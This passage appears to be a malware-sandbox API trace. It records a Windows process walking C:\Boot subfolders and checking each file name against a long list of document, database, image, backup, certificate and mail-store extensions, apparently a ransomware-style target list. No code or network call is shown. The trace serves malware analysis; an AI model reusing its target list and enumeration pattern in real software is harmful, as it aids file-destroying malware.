	[0166.523] lstrlenW (lpString=".elf") returned 4
	[0166.523] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0166.523] lstrlenW (lpString=".emf") returned 4
	[0166.523] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0166.523] lstrlenW (lpString=".emz") returned 4
	[0166.524] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0166.524] lstrlenW (lpString=".epf") returned 4
	[0166.524] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0166.524] lstrlenW (lpString=".eps") returned 4
	[0166.524] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0166.524] lstrlenW (lpString=".epsf") returned 5
	[0166.524] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0166.524] lstrlenW (lpString=".epsp") returned 5
	[0166.524] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0166.524] lstrlenW (lpString=".erf") returned 4
	[0166.524] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0166.524] lstrlenW (lpString=".exr") returned 4
	[0166.524] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0166.524] lstrlenW (lpString=".f4v") returned 4
	[0166.524] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0166.524] lstrlenW (lpString=".fido") returned 5
	[0166.524] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0166.524] lstrlenW (lpString=".flm") returned 4
	[0166.524] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0166.524] lstrlenW (lpString=".flv") returned 4
	[0166.524] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0166.524] lstrlenW (lpString=".frm") returned 4
	[0166.524] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0166.524] lstrlenW (lpString=".fxg") returned 4
	[0166.524] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0166.525] lstrlenW (lpString=".geo") returned 4
	[0166.525] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0166.525] lstrlenW (lpString=".gif") returned 4
	[0166.525] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0166.525] lstrlenW (lpString=".grs") returned 4
	[0166.525] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0166.525] lstrlenW (lpString=".gz") returned 3
	[0166.525] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0166.525] lstrlenW (lpString=".h") returned 2
	[0166.525] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0166.525] lstrlenW (lpString=".hdr") returned 4
	[0166.525] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0166.525] lstrlenW (lpString=".hpp") returned 4
	[0166.525] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0166.525] lstrlenW (lpString=".hta") returned 4
	[0166.525] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0166.525] lstrlenW (lpString=".htc") returned 4
	[0166.525] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0166.525] lstrlenW (lpString=".htm") returned 4
	[0166.525] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0166.525] lstrlenW (lpString=".html") returned 5
	[0166.525] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0166.525] lstrlenW (lpString=".icb") returned 4
	[0166.525] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0166.525] lstrlenW (lpString=".ics") returned 4
	[0166.526] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0166.526] lstrlenW (lpString=".iff") returned 4
	[0166.526] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0166.526] lstrlenW (lpString=".inc") returned 4
	[0166.526] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0166.526] lstrlenW (lpString=".indd") returned 5
	[0166.526] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0166.526] lstrlenW (lpString=".ini") returned 4
	[0166.526] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0166.526] lstrlenW (lpString=".iqy") returned 4
	[0166.526] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0166.526] lstrlenW (lpString=".j2c") returned 4
	[0166.526] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0166.526] lstrlenW (lpString=".j2k") returned 4
	[0166.526] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0166.526] lstrlenW (lpString=".java") returned 5
	[0166.526] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0166.526] lstrlenW (lpString=".jp2") returned 4
	[0166.526] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0166.526] lstrlenW (lpString=".jpc") returned 4
	[0166.526] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0166.526] lstrlenW (lpString=".jpe") returned 4
	[0166.526] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0166.526] lstrlenW (lpString=".jpeg") returned 5
	[0166.526] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0166.527] lstrlenW (lpString=".jpf") returned 4
	[0166.527] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0166.527] lstrlenW (lpString=".jpg") returned 4
	[0166.527] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.527] lstrlenW (lpString=".jpx") returned 4
	[0166.527] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0166.527] lstrlenW (lpString=".js") returned 3
	[0166.527] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0166.527] lstrlenW (lpString=".jsf") returned 4
	[0166.527] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0166.527] lstrlenW (lpString=".json") returned 5
	[0166.527] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0166.527] lstrlenW (lpString=".jsp") returned 4
	[0166.527] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0166.527] lstrlenW (lpString=".kdc") returned 4
	[0166.527] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0166.527] lstrlenW (lpString=".kmz") returned 4
	[0166.527] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0166.527] lstrlenW (lpString=".kwm") returned 4
	[0166.527] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0166.527] lstrlenW (lpString=".lasso") returned 6
	[0166.527] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0166.527] lstrlenW (lpString=".lbi") returned 4
	[0166.528] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".lgf") returned 4
	[0166.528] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".lgp") returned 4
	[0166.528] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".log") returned 4
	[0166.528] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".m1v") returned 4
	[0166.528] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".m4a") returned 4
	[0166.528] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".m4v") returned 4
	[0166.528] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".max") returned 4
	[0166.528] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".md") returned 3
	[0166.528] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0166.528] lstrlenW (lpString=".mda") returned 4
	[0166.528] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".mdb") returned 4
	[0166.528] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".mde") returned 4
	[0166.528] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0166.528] lstrlenW (lpString=".mdf") returned 4
	[0166.528] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mdw") returned 4
	[0166.529] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mef") returned 4
	[0166.529] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mft") returned 4
	[0166.529] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mfw") returned 4
	[0166.529] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mht") returned 4
	[0166.529] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mhtml") returned 6
	[0166.529] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0166.529] lstrlenW (lpString=".mka") returned 4
	[0166.529] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mkidx") returned 6
	[0166.529] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0166.529] lstrlenW (lpString=".mkv") returned 4
	[0166.529] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mos") returned 4
	[0166.529] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mov") returned 4
	[0166.529] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mp3") returned 4
	[0166.529] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0166.529] lstrlenW (lpString=".mp4") returned 4
	[0166.530] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0166.530] lstrlenW (lpString=".mpeg") returned 5
	[0166.530] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0166.530] lstrlenW (lpString=".mpg") returned 4
	[0166.530] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0166.530] lstrlenW (lpString=".mpv") returned 4
	[0166.530] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0166.530] lstrlenW (lpString=".mrw") returned 4
	[0166.530] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0166.530] lstrlenW (lpString=".msg") returned 4
	[0166.530] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0166.530] lstrlenW (lpString=".mxl") returned 4
	[0166.530] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0166.530] lstrlenW (lpString=".myd") returned 4
	[0166.530] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0166.530] lstrlenW (lpString=".myi") returned 4
	[0166.530] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0166.530] lstrlenW (lpString=".nef") returned 4
	[0166.530] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0166.530] lstrlenW (lpString=".nrw") returned 4
	[0166.530] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0166.530] lstrlenW (lpString=".obj") returned 4
	[0166.530] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0166.530] lstrlenW (lpString=".odb") returned 4
	[0166.530] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0166.531] lstrlenW (lpString=".odc") returned 4
	[0166.531] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0166.531] lstrlenW (lpString=".odm") returned 4
	[0166.531] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0166.531] lstrlenW (lpString=".odp") returned 4
	[0166.531] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0166.531] lstrlenW (lpString=".ods") returned 4
	[0166.531] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0166.531] lstrlenW (lpString=".oft") returned 4
	[0166.531] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0166.531] lstrlenW (lpString=".one") returned 4
	[0166.531] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0166.531] lstrlenW (lpString=".onepkg") returned 7
	[0166.531] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0166.531] lstrlenW (lpString=".onetoc2") returned 8
	[0166.531] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0166.531] lstrlenW (lpString=".opt") returned 4
	[0166.531] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0166.531] lstrlenW (lpString=".oqy") returned 4
	[0166.531] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0166.531] lstrlenW (lpString=".orf") returned 4
	[0166.531] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0166.531] lstrlenW (lpString=".p12") returned 4
	[0166.531] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".p7b") returned 4
	[0166.532] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".p7c") returned 4
	[0166.532] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pam") returned 4
	[0166.532] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pbm") returned 4
	[0166.532] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pct") returned 4
	[0166.532] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pcx") returned 4
	[0166.532] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pdd") returned 4
	[0166.532] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pdf") returned 4
	[0166.532] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pdp") returned 4
	[0166.532] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pef") returned 4
	[0166.532] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pem") returned 4
	[0166.532] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pff") returned 4
	[0166.532] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0166.532] lstrlenW (lpString=".pfm") returned 4
	[0166.533] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0166.533] lstrlenW (lpString=".pfx") returned 4
	[0166.533] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0166.533] lstrlenW (lpString=".pgm") returned 4
	[0166.533] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0166.533] lstrlenW (lpString=".php") returned 4
	[0166.533] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0166.533] lstrlenW (lpString=".php3") returned 5
	[0166.533] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0166.533] lstrlenW (lpString=".php4") returned 5
	[0166.533] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0166.533] lstrlenW (lpString=".php5") returned 5
	[0166.533] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0166.533] lstrlenW (lpString=".phtml") returned 6
	[0166.533] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0166.533] lstrlenW (lpString=".pict") returned 5
	[0166.533] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0166.533] lstrlenW (lpString=".pl") returned 3
	[0166.533] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0166.533] lstrlenW (lpString=".pls") returned 4
	[0166.533] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0166.533] lstrlenW (lpString=".pm") returned 3
	[0166.533] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0166.533] lstrlenW (lpString=".png") returned 4
	[0166.534] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0166.534] lstrlenW (lpString=".pnm") returned 4
	[0166.534] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0166.534] lstrlenW (lpString=".pot") returned 4
	[0166.534] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0166.534] lstrlenW (lpString=".potm") returned 5
	[0166.534] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0166.534] lstrlenW (lpString=".potx") returned 5
	[0166.534] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0166.534] lstrlenW (lpString=".ppa") returned 4
	[0166.534] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0166.534] lstrlenW (lpString=".ppam") returned 5
	[0166.534] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0166.534] lstrlenW (lpString=".ppm") returned 4
	[0166.534] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0166.534] lstrlenW (lpString=".pps") returned 4
	[0166.534] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0166.534] lstrlenW (lpString=".ppsm") returned 5
	[0166.534] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0166.534] lstrlenW (lpString=".ppt") returned 4
	[0166.534] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.534] lstrlenW (lpString=".pptm") returned 5
	[0166.534] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0166.534] lstrlenW (lpString=".pptx") returned 5
	[0166.534] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0166.535] lstrlenW (lpString=".prn") returned 4
	[0166.535] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0166.535] lstrlenW (lpString=".ps") returned 3
	[0166.535] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0166.535] lstrlenW (lpString=".psb") returned 4
	[0166.535] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0166.535] lstrlenW (lpString=".psd") returned 4
	[0166.535] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0166.535] lstrlenW (lpString=".pst") returned 4
	[0166.535] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0166.535] lstrlenW (lpString=".ptx") returned 4
	[0166.535] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0166.535] lstrlenW (lpString=".pub") returned 4
	[0166.535] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0166.535] lstrlenW (lpString=".pwm") returned 4
	[0166.535] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0166.535] lstrlenW (lpString=".pxr") returned 4
	[0166.535] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0166.535] lstrlenW (lpString=".py") returned 3
	[0166.535] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0166.535] lstrlenW (lpString=".qt") returned 3
	[0166.535] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0166.535] lstrlenW (lpString=".r3d") returned 4
	[0166.535] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0166.536] lstrlenW (lpString=".raf") returned 4
	[0166.536] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0166.536] lstrlenW (lpString=".rar") returned 4
	[0166.536] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.536] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.536] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.536] FindClose (in: hFindFile=0x6abc98 | out: hFindFile=0x6abc98) returned 1
	[0166.536] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.536] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0166.536] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.536] lstrlenW (lpString="C:\\Boot\\el-GR") returned 13
	[0166.536] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0166.537] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.537] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.537] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0166.537] lstrlenW (lpString=".1cd") returned 4
	[0166.537] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.537] lstrlenW (lpString=".3ds") returned 4
	[0166.537] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0166.537] lstrlenW (lpString=".3fr") returned 4
	[0166.537] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0166.537] lstrlenW (lpString=".3g2") returned 4
	[0166.537] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0166.537] lstrlenW (lpString=".3gp") returned 4
	[0166.537] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0166.537] lstrlenW (lpString=".7z") returned 3
	[0166.537] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.537] lstrlenW (lpString=".accda") returned 6
	[0166.537] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0166.537] lstrlenW (lpString=".accdb") returned 6
	[0166.538] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0166.538] lstrlenW (lpString=".accdc") returned 6
	[0166.538] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0166.538] lstrlenW (lpString=".accde") returned 6
	[0166.538] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0166.538] lstrlenW (lpString=".accdt") returned 6
	[0166.538] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0166.538] lstrlenW (lpString=".accdw") returned 6
	[0166.538] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0166.538] lstrlenW (lpString=".adb") returned 4
	[0166.538] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0166.538] lstrlenW (lpString=".adp") returned 4
	[0166.538] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0166.538] lstrlenW (lpString=".ai") returned 3
	[0166.538] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0166.538] lstrlenW (lpString=".ai3") returned 4
	[0166.538] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0166.538] lstrlenW (lpString=".ai4") returned 4
	[0166.538] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0166.538] lstrlenW (lpString=".ai5") returned 4
	[0166.538] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0166.538] lstrlenW (lpString=".ai6") returned 4
	[0166.538] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0166.538] lstrlenW (lpString=".ai7") returned 4
	[0166.539] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0166.539] lstrlenW (lpString=".ai8") returned 4
	[0166.539] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0166.539] lstrlenW (lpString=".anim") returned 5
	[0166.539] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0166.539] lstrlenW (lpString=".arw") returned 4
	[0166.539] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0166.539] lstrlenW (lpString=".as") returned 3
	[0166.539] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0166.539] lstrlenW (lpString=".asa") returned 4
	[0166.539] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0166.539] lstrlenW (lpString=".asc") returned 4
	[0166.539] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0166.539] lstrlenW (lpString=".ascx") returned 5
	[0166.539] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0166.539] lstrlenW (lpString=".asm") returned 4
	[0166.539] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0166.539] lstrlenW (lpString=".asmx") returned 5
	[0166.539] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0166.539] lstrlenW (lpString=".asp") returned 4
	[0166.539] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0166.539] lstrlenW (lpString=".aspx") returned 5
	[0166.539] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0166.539] lstrlenW (lpString=".asr") returned 4
	[0166.539] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0166.540] lstrlenW (lpString=".asx") returned 4
	[0166.540] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0166.540] lstrlenW (lpString=".avi") returned 4
	[0166.540] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0166.540] lstrlenW (lpString=".avs") returned 4
	[0166.540] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0166.540] lstrlenW (lpString=".backup") returned 7
	[0166.540] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0166.540] lstrlenW (lpString=".bak") returned 4
	[0166.540] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0166.540] lstrlenW (lpString=".bay") returned 4
	[0166.540] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0166.540] lstrlenW (lpString=".bd") returned 3
	[0166.540] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0166.540] lstrlenW (lpString=".bin") returned 4
